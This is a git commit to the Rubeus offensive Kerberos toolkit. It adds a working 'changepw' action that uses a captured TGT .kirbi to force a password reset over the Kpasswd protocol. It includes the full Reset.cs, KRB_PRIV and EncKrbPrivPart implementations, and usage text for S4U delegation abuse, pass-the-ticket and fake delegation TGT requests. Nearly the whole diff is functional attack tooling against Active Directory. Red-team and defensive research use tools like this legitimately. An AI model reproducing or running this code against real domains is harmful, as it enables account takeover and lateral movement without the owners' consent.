Rubeus 1.2.0

[new] "changepw" action
    -implements the AoratoPw user password reset from a TGT .kirbi
    -equivalent to Kekeo's misc::changepw function
master
HarmJ0y 2018-10-03 16:30:46 -04:00
parent 4c91457523
commit e193baf84d
13 changed files with 558 additions and 42 deletions

View File

@ -4,6 +4,14 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [1.2.0] - 2018-10-03
### Added
* **changepw** action
* implements the AoratoPw user password reset from a TGT .kirbi
* equivalent to Kekeo's misc::changepw function
## [1.1.0] - 2018-09-31
### Added
* **asktgs** action - takes /ptt:X, /dc:X, /ticket:X flags like asktgt, /service:X takes one or more SPN specifications

View File

@ -18,7 +18,7 @@ namespace Rubeus
System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
System.Console.WriteLine(" v1.1.0\r\n");
System.Console.WriteLine(" v1.2.0\r\n");
}
public static void Usage()
@ -28,10 +28,12 @@ namespace Rubeus
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:");
Console.WriteLine(" Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
Console.WriteLine("\r\n Reset a user's password from a supplied TGT (AoratoPw):");
Console.WriteLine(" Rubeus.exe changepw </ticket:BASE64 | /ticket:FILE.KIRBI> /new:PASSWORD [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
@ -137,7 +139,6 @@ namespace Rubeus
}
}
if (arguments.ContainsKey("/createnetonly"))
{
// if we're starting a hidden process to apply the ticket to
@ -236,7 +237,7 @@ namespace Rubeus
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
@ -298,7 +299,56 @@ namespace Rubeus
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
else if (arguments.ContainsKey("changepw"))
{
string newPassword = "";
string dc = "";
if (arguments.ContainsKey("/new"))
{
newPassword = arguments["/new"];
}
if (String.IsNullOrEmpty(newPassword))
{
Console.WriteLine("\r\n[X] New password must be supplied with /new:X !\r\n");
return;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Reset.UserPassword(kirbi, newPassword, dc);
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Reset.UserPassword(kirbi, newPassword, dc);
}
else
{
Console.WriteLine("\r\n[X]/ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
@ -406,7 +456,7 @@ namespace Rubeus
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for S4U!");
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied for S4U!\r\n");
Console.WriteLine("[X] Alternatively, supply a /user and </rc4:X | /aes256:X> hash to first retrieve a TGT.\r\n");
return;
}
@ -457,7 +507,7 @@ namespace Rubeus
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied!\r\n");
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}
@ -561,7 +611,6 @@ namespace Rubeus
format = arguments["/format"];
}
if (String.IsNullOrEmpty(user))
{
Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
@ -624,11 +673,11 @@ namespace Rubeus
{
if (arguments.ContainsKey("/target"))
{
LSA.RequestFakeDelegTicket(arguments["/target"]);
byte[] blah = LSA.RequestFakeDelegTicket(arguments["/target"]);
}
else
{
LSA.RequestFakeDelegTicket();
byte[] blah = LSA.RequestFakeDelegTicket();
}
}
@ -683,7 +732,7 @@ namespace Rubeus
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi /ticket file needs to be supplied!\r\n");
Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
return;
}
}

View File

@ -64,13 +64,13 @@ namespace Rubeus
if (etype == Interop.KERB_ETYPE.rc4_hmac)
{
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
outBytes = Crypto.KerberosDecrypt(etype, 8, key, rep.enc_part.cipher);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else if(etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
//https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L57
outBytes = Crypto.KerberosDecrypt(etype, 3, key, rep.enc_part.cipher);
// KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
}
else
{
@ -234,8 +234,8 @@ namespace Rubeus
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
// KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
byte[] outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

View File

@ -8,6 +8,17 @@ namespace Rubeus
{
public class Interop
{
// constants
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61
public const int KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP = 1;
public const int KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3;
public const int KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7;
public const int KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8;
public const int KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11;
public const int KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13;
public const int KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14;
// Enums
[Flags]
@ -85,6 +96,18 @@ namespace Rubeus
subkey_keymaterial = 65
}
public enum KADMIN_PASSWD_ERR : UInt32
{
KRB5_KPASSWD_SUCCESS = 0,
KRB5_KPASSWD_MALFORMED = 1,
KRB5_KPASSWD_HARDERROR = 2,
KRB5_KPASSWD_AUTHERROR = 3,
KRB5_KPASSWD_SOFTERROR = 4,
KRB5_KPASSWD_ACCESSDENIED = 5,
KRB5_KPASSWD_BAD_VERSION = 6,
KRB5_KPASSWD_INITIAL_FLAG_NEEDED = 7
}
public enum KERB_CHECKSUM_ALGORITHM
{
KERB_CHECKSUM_HMAC_SHA1_96_AES128 = 15,
@ -1259,5 +1282,10 @@ namespace Rubeus
public static extern int FreeCredentialsHandle(
[In] ref SECURITY_HANDLE phCredential
);
[DllImport("Secur32.dll")]
public static extern int FreeContextBuffer(
ref IntPtr pvContextBuffer
);
}
}

View File

@ -1367,10 +1367,12 @@ namespace Rubeus
return returnedSessionKey;
}
public static void RequestFakeDelegTicket(string targetSPN = "")
public static byte[] RequestFakeDelegTicket(string targetSPN = "")
{
Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n");
byte[] finalTGTBytes = null;
if (String.IsNullOrEmpty(targetSPN))
{
Console.WriteLine("[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'");
@ -1378,7 +1380,7 @@ namespace Rubeus
if(String.IsNullOrEmpty(domainController))
{
Console.WriteLine("[X] Error retrieving current domain controller");
return;
return null;
}
targetSPN = String.Format("HOST/{0}", domainController);
}
@ -1465,8 +1467,8 @@ namespace Rubeus
string base64SessionKey = Convert.ToBase64String(key);
Console.WriteLine("[*] Extracted the service ticket session key from the ticket cache: {0}", base64SessionKey);
// KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR == 11 (https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/kull_m_kerberos_asn1.h)
byte[] rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, 11, key, encAuthenticator.cipher);
// KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11
byte[] rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, key, encAuthenticator.cipher);
AsnElt asnAuthenticator = AsnElt.Decode(rawBytes, false);
@ -1507,8 +1509,8 @@ namespace Rubeus
{
byte[] enc_part = elt3.Sub[0].Sub[1].GetOctetString();
// KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART == 14
byte[] rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, 14, key, enc_part);
// KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART = 14
byte[] rawBytes2 = Crypto.KerberosDecrypt(authenticatorEtype, Interop.KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART, key, enc_part);
// decode the decrypted plaintext enc par and add it to our final cred object
AsnElt encKrbCredPartAsn = AsnElt.Decode(rawBytes2, false);
@ -1526,6 +1528,8 @@ namespace Rubeus
{
Console.WriteLine(" {0}", line);
}
finalTGTBytes = kirbiBytes;
}
}
else
@ -1562,6 +1566,9 @@ namespace Rubeus
}
// cleanup 1
Interop.DeleteSecurityContext(ref ClientContext);
// cleanup 2
//Interop.FreeContextBuffer(ref ClientToken.pBuffers);
}
else
{
@ -1570,6 +1577,7 @@ namespace Rubeus
// cleanup 2
Interop.FreeCredentialsHandle(ref phCredential);
return finalTGTBytes;
}
}
}

View File

@ -37,7 +37,7 @@ namespace Rubeus
}
}
public static byte[] SendBytes(string server, int port, byte[] data)
public static byte[] SendBytes(string server, int port, byte[] data, bool noHeader = false)
{
// send the byte array to the specified server/port
@ -48,14 +48,23 @@ namespace Rubeus
System.Net.Sockets.Socket socket = new System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp);
socket.Ttl = 128;
byte[] totalRequestBytes;
byte[] lenBytes = BitConverter.GetBytes(data.Length);
Array.Reverse(lenBytes);
if (noHeader)
{
// used for MS Kpasswd
totalRequestBytes = data;
}
else
{
byte[] lenBytes = BitConverter.GetBytes(data.Length);
Array.Reverse(lenBytes);
// build byte[req len + req bytes]
byte[] totalRequestBytes = new byte[lenBytes.Length + data.Length];
Array.Copy(lenBytes, totalRequestBytes, lenBytes.Length);
Array.Copy(data, 0, totalRequestBytes, lenBytes.Length, data.Length);
// build byte[req len + req bytes]
totalRequestBytes = new byte[lenBytes.Length + data.Length];
Array.Copy(lenBytes, totalRequestBytes, lenBytes.Length);
Array.Copy(data, 0, totalRequestBytes, lenBytes.Length, data.Length);
}
try
{
@ -76,8 +85,17 @@ namespace Rubeus
int bytesReceived = socket.Receive(responseBuffer);
Console.WriteLine("[*] Received {0} bytes", bytesReceived);
byte[] response = new byte[bytesReceived - 4];
Array.Copy(responseBuffer, 4, response, 0, bytesReceived - 4);
byte[] response;
if (noHeader)
{
response = new byte[bytesReceived];
Array.Copy(responseBuffer, 0, response, 0, bytesReceived);
}
else
{
response = new byte[bytesReceived - 4];
Array.Copy(responseBuffer, 4, response, 0, bytesReceived - 4);
}
socket.Close();

205
Rubeus/lib/Reset.cs Executable file
View File

@ -0,0 +1,205 @@
using System;
using System.IO;
using System.Linq;
using Asn1;
namespace Rubeus
{
public class Reset
{
public static void UserPassword(KRB_CRED kirbi, string newPassword, string domainController = "")
{
// implements the Kerberos-based password reset originally disclosed by Aorato
// This function is misc::changepw in Kekeo
// Takes a valid TGT .kirbi and builds a MS Kpasswd password change sequence
// AP-REQ with randomized sub session key
// KRB-PRIV structure containing ChangePasswdData, enc w/ the sub session key
// reference: Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols (RFC3244)
Console.WriteLine("[*] Action: Reset User Password (AoratoPw)\r\n");
// grab the default DC if none was supplied
if (String.IsNullOrEmpty(domainController))
{
domainController = Networking.GetDCName();
if (String.IsNullOrEmpty(domainController))
{
return;
}
}
System.Net.IPAddress[] dcIP;
try
{
dcIP = System.Net.Dns.GetHostAddresses(domainController);
}
catch (Exception e)
{
Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
return;
}
// extract the user and domain from the existing .kirbi ticket
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string userDomain = kirbi.enc_part.ticket_info[0].prealm;
Console.WriteLine("[*] Changing password for user: {0}@{1}", userName, userDomain);
Console.WriteLine("[*] New password value: {0}", newPassword);
// build the AP_REQ using the user ticket's keytype and key
Console.WriteLine("[*] Building AP-REQ for the MS Kpassword request");
AP_REQ ap_req = new AP_REQ(userDomain, userName, kirbi.tickets[0], kirbi.enc_part.ticket_info[0].key.keyvalue, (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype, Interop.KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR);
// create a new session subkey for the Authenticator and match the encryption type of the user key
Console.WriteLine("[*] Building Authenticator with encryption key type: {0}", (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype);
ap_req.authenticator.subkey = new EncryptionKey();
ap_req.authenticator.subkey.keytype = kirbi.enc_part.ticket_info[0].key.keytype;
// generate a random session subkey
Random random = new Random();
byte[] randKeyBytes;
Interop.KERB_ETYPE randKeyEtype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
if (randKeyEtype == Interop.KERB_ETYPE.rc4_hmac)
{
randKeyBytes = new byte[16];
random.NextBytes(randKeyBytes);
ap_req.authenticator.subkey.keyvalue = randKeyBytes;
}
else if (randKeyEtype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
{
randKeyBytes = new byte[32];
random.NextBytes(randKeyBytes);
ap_req.authenticator.subkey.keyvalue = randKeyBytes;
}
else
{
Console.WriteLine("[X] Only rc4_hmac and aes256_cts_hmac_sha1 key hashes supported at this time!");
return;
}
Console.WriteLine("[*] base64(session subkey): {0}", Convert.ToBase64String(randKeyBytes));
// randKeyBytes is now the session key used for the KRB-PRIV structure
// MIMIKATZ_NONCE ;)
ap_req.authenticator.seq_number = 1818848256;
// now build the KRV-PRIV structure
Console.WriteLine("[*] Building the KRV-PRIV structure");
KRB_PRIV changePriv = new KRB_PRIV(randKeyEtype, randKeyBytes);
// the new password to set for the user
changePriv.enc_part = new EncKrbPrivPart(newPassword, "lol");
// now build the final MS Kpasswd request
byte[] apReqBytes = ap_req.Encode().Encode();
byte[] changePrivBytes = changePriv.Encode().Encode();
byte[] packetBytes = new byte[10 + apReqBytes.Length + changePrivBytes.Length];
short msgLength = (short)(packetBytes.Length - 4);
byte[] msgLengthBytes = BitConverter.GetBytes(msgLength);
System.Array.Reverse(msgLengthBytes);
// Record Mark
packetBytes[2] = msgLengthBytes[0];
packetBytes[3] = msgLengthBytes[1];
// Message Length
packetBytes[4] = msgLengthBytes[0];
packetBytes[5] = msgLengthBytes[1];
// Version (Reply)
packetBytes[6] = 0x0;
packetBytes[7] = 0x1;
// AP_REQ Length
short apReqLen = (short)(apReqBytes.Length);
byte[] apReqLenBytes = BitConverter.GetBytes(apReqLen);
System.Array.Reverse(apReqLenBytes);
packetBytes[8] = apReqLenBytes[0];
packetBytes[9] = apReqLenBytes[1];
// AP_REQ
Array.Copy(apReqBytes, 0, packetBytes, 10, apReqBytes.Length);
// KRV-PRIV
Array.Copy(changePrivBytes, 0, packetBytes, apReqBytes.Length + 10, changePrivBytes.Length);
// KPASSWD_DEFAULT_PORT = 464
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 464, packetBytes, true);
if (response == null)
{
return;
}
try
{
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
}
catch { }
// otherwise parse the resulting KRB-PRIV from the server
byte[] respRecordMarkBytes = { response[0], response[1], response[2], response[3] };
Array.Reverse(respRecordMarkBytes);
int respRecordMark = BitConverter.ToInt32(respRecordMarkBytes, 0);
byte[] respMsgLenBytes = { response[4], response[5] };
Array.Reverse(respMsgLenBytes);
int respMsgLen = BitConverter.ToInt16(respMsgLenBytes, 0);
byte[] respVersionBytes = { response[6], response[7] };
Array.Reverse(respVersionBytes);
int respVersion = BitConverter.ToInt16(respVersionBytes, 0);
byte[] respAPReqLenBytes = { response[8], response[9] };
Array.Reverse(respAPReqLenBytes);
int respAPReqLen = BitConverter.ToInt16(respAPReqLenBytes, 0);
byte[] respAPReq = new byte[respAPReqLen];
Array.Copy(response, 10, respAPReq, 0, respAPReqLen);
int respKRBPrivLen = respMsgLen - respAPReqLen - 6;
byte[] respKRBPriv = new byte[respKRBPrivLen];
Array.Copy(response, 10 + respAPReqLen, respKRBPriv, 0, respKRBPrivLen);
// decode the KRB-PRIV response
AsnElt respKRBPrivAsn = AsnElt.Decode(respKRBPriv, false);
foreach(AsnElt elem in respKRBPrivAsn.Sub[0].Sub)
{
if(elem.TagValue == 3)
{
byte[] encBytes = elem.Sub[0].Sub[1].GetOctetString();
byte[] decBytes = Crypto.KerberosDecrypt(randKeyEtype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, randKeyBytes, encBytes);
AsnElt decBytesAsn = AsnElt.Decode(decBytes, false);
byte[] responseCodeBytes = decBytesAsn.Sub[0].Sub[0].Sub[0].GetOctetString();
Array.Reverse(responseCodeBytes);
short responseCode = BitConverter.ToInt16(responseCodeBytes, 0);
if (responseCode == 0)
{
Console.WriteLine("[+] Password change success!");
}
else
{
Console.WriteLine("[X] Password change error: {0}", (Interop.KADMIN_PASSWD_ERR)responseCode);
}
}
}
}
}
}

View File

@ -15,7 +15,7 @@ namespace Rubeus
public class AP_REQ
{
public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype)
public AP_REQ(string crealm, string cname, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, int keyUsageSpec = Interop.KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR)
{
pvno = 5;
@ -25,6 +25,10 @@ namespace Rubeus
ticket = providedTicket;
// KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR = 7
// KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR = 11
keyUsage = keyUsageSpec;
enctype = etype;
key = clientKey;
@ -61,17 +65,15 @@ namespace Rubeus
// authenticator [4] EncryptedData
// KRB_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR 7
// From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L61
if (key == null)
{
Console.WriteLine(" [X] A key for the authenticator is needed to build an AP-REQ");
return null;
}
byte[] authenticatorBytes = authenticator.Encode().Encode();
//byte[] keyBytes = Helpers.StringToByteArray(key);
byte[] encBytes = Crypto.KerberosEncrypt(enctype, 7, key, authenticatorBytes);
byte[] encBytes = Crypto.KerberosEncrypt(enctype, keyUsage, key, authenticatorBytes);
// create the EncryptedData structure to hold the authenticator bytes
EncryptedData authenticatorEncryptedData = new EncryptedData();
@ -108,5 +110,7 @@ namespace Rubeus
public byte[] key { get; set; }
private Interop.KERB_ETYPE enctype;
private int keyUsage;
}
}

View File

@ -37,6 +37,10 @@ namespace Rubeus
cusec = 0;
ctime = DateTime.UtcNow;
subkey = null;
seq_number = 0;
}
public AsnElt Encode()
@ -79,6 +83,22 @@ namespace Rubeus
tillSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 5, tillSeq);
allNodes.Add(tillSeq);
if (subkey != null)
{
// subkey [6] EncryptionKey OPTIONAL
AsnElt keyAsn = subkey.Encode();
keyAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 6, keyAsn);
allNodes.Add(keyAsn);
}
if(seq_number != 0)
{
// seq-number [7] UInt32 OPTIONAL
AsnElt seq_numberASN = AsnElt.MakeInteger(seq_number);
AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq_numberASN });
seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 7, seq_numberSeq);
allNodes.Add(seq_numberSeq);
}
// package it all up
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, allNodes.ToArray());
@ -101,5 +121,9 @@ namespace Rubeus
public long cusec { get; set; }
public DateTime ctime { get; set; }
public EncryptionKey subkey { get; set; }
public UInt32 seq_number { get; set; }
}
}

View File

@ -0,0 +1,90 @@
using System;
using Asn1;
using System.Collections.Generic;
using System.Text;
namespace Rubeus
{
//EncKrbPrivPart ::= [APPLICATION 28] SEQUENCE {
// user-data [0] OCTET STRING,
// timestamp [1] KerberosTime OPTIONAL,
// usec [2] Microseconds OPTIONAL,
// seq-number [3] UInt32 OPTIONAL,
// s-address [4] HostAddress -- sender's addr --,
// r-address [5] HostAddress OPTIONAL -- recip's addr
//}
// NOTE: we only use:
// user-data [0] OCTET STRING
// seq-number [3] UInt32 OPTIONAL
// s-address [4] HostAddress
// only used by the changepw command
public class EncKrbPrivPart
{
public EncKrbPrivPart()
{
new_password = "";
// mimikatz nonce ;
seq_number = 1818848256;
host_name = "";
}
public EncKrbPrivPart(string newPassword, string hostName)
{
new_password = newPassword;
// mimikatz nonce ;
seq_number = 1818848256;
host_name = hostName;
}
public AsnElt Encode()
{
// user-data [0] OCTET STRING
byte[] pwBytes = Encoding.ASCII.GetBytes(new_password);
AsnElt new_passwordAsn = AsnElt.MakeBlob(pwBytes);
AsnElt new_passwordSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { new_passwordAsn });
new_passwordSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, new_passwordSeq);
// seq-number [3] UInt32 OPTIONAL
AsnElt seq_numberAsn = AsnElt.MakeInteger(seq_number);
AsnElt seq_numberSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { seq_numberAsn });
seq_numberSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, seq_numberSeq);
// s-address [4] HostAddress
AsnElt hostAddressTypeAsn = AsnElt.MakeInteger(20);
AsnElt hostAddressTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressTypeAsn });
hostAddressTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, hostAddressTypeSeq);
byte[] hostAddressAddressBytes = Encoding.ASCII.GetBytes(host_name);
AsnElt hostAddressAddressAsn = AsnElt.MakeBlob(hostAddressAddressBytes);
AsnElt hostAddressAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressAddressAsn });
hostAddressAddressSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, hostAddressAddressSeq);
AsnElt hostAddressSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { hostAddressTypeSeq, hostAddressAddressSeq });
AsnElt hostAddressSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { hostAddressSeq });
hostAddressSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 4, hostAddressSeq2);
AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { new_passwordSeq, seq_numberSeq, hostAddressSeq2 });
AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq });
seq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 28, seq2);
return seq2;
}
public string new_password { get; set; }
public UInt32 seq_number { get; set; }
public string host_name { get; set; }
}
}

View File

@ -107,7 +107,7 @@ namespace Rubeus
// all the components
AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 });
// tag the final total
// tag the final total ([APPLICATION 22])
AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total });
final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final);

View File

@ -0,0 +1,82 @@
using System;
using Asn1;
using System.Collections.Generic;
namespace Rubeus
{
public class KRB_PRIV
{
//KRB-PRIV ::= [APPLICATION 21] SEQUENCE {
// pvno [0] INTEGER (5),
// msg-type [1] INTEGER (21),
// -- NOTE: there is no [2] tag
// enc-part [3] EncryptedData -- EncKrbPrivPart
//}
public KRB_PRIV(Interop.KERB_ETYPE encType, byte[] encKey)
{
// defaults for creation
pvno = 5;
msg_type = 21;
etype = encType;
ekey = encKey;
enc_part = new EncKrbPrivPart();
}
public AsnElt Encode()
{
// pvno [0] INTEGER (5)
AsnElt pvnoAsn = AsnElt.MakeInteger(pvno);
AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn });
pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq);
// msg-type [1] INTEGER (21)
AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type);
AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn });
msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq);
// enc-part [3] EncryptedData -- EncKrbPrivPart
AsnElt enc_partAsn = enc_part.Encode();
// etype
AsnElt etypeAsn = AsnElt.MakeInteger((int)etype);
AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn });
etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq);
// now encrypt the enc_part (EncKrbPrivPart)
// KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13;
byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, ekey, enc_partAsn.Encode());
AsnElt blob = AsnElt.MakeBlob(encBytes);
AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob });
blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq);
AsnElt encPrivSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq });
AsnElt encPrivSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { encPrivSeq });
encPrivSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, encPrivSeq2);
// all the components
AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, encPrivSeq2 });
// tag the final total ([APPLICATION 21])
AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total });
final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 21, final);
return final;
}
public long pvno { get; set; }
public long msg_type { get; set; }
public EncKrbPrivPart enc_part { get; set; }
public Interop.KERB_ETYPE etype { get; set; }
public byte[] ekey { get; set; }
}
}

View File

@ -31,9 +31,9 @@ namespace Rubeus
byte[] rawBytes = temp.Encode().Encode();
